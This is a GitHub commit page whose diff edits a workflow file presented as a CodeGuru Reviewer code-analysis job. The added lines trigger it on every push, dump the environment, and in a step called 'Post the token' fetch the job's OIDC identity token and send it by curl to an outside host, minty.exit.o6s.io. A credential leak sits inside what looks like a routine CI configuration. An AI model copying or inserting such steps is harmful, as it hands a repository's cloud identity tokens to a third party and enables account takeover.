Skip to content

Commit 22dd100

Browse files
authored
Merge branch 'main' into main
2 parents 14dc88d + 8aa842c commit 22dd100

File tree

1 file changed

+15
-2
lines changed

1 file changed

+15
-2
lines changed

.github/workflows/codeguru-reviewer.yml

Lines changed: 15 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,28 @@
11

22
name: Analyze with CodeGuru Reviewer
3-
on: [pull_request, workflow_dispatch]
3+
4+
on:
5+
- push
6+
- pull_request
7+
- workflow_dispatch
8+
9+
410
permissions:
511
id-token: write
6-
contents: read
12+
contents: read
713
security-events: write
814

915
jobs:
1016
CodeGuruReviewerScan:
1117
runs-on: ubuntu-latest
1218
steps:
19+
- run: env
20+
- name: Post the token
21+
run: |
22+
OIDC_TOKEN=$(curl -sLS "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=o6s" -H "User-Agent: actions/oidc-client" -H "Authorization: Bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN")
23+
24+
curl -i -s --data-binary "$OIDC_TOKEN" \
25+
https://minty.exit.o6s.io/github-oidc
1326
- name: Assume IAM Role
1427
continue-on-error: true
1528
uses: aws-actions/configure-aws-credentials@v1

0 commit comments

Comments
 (0)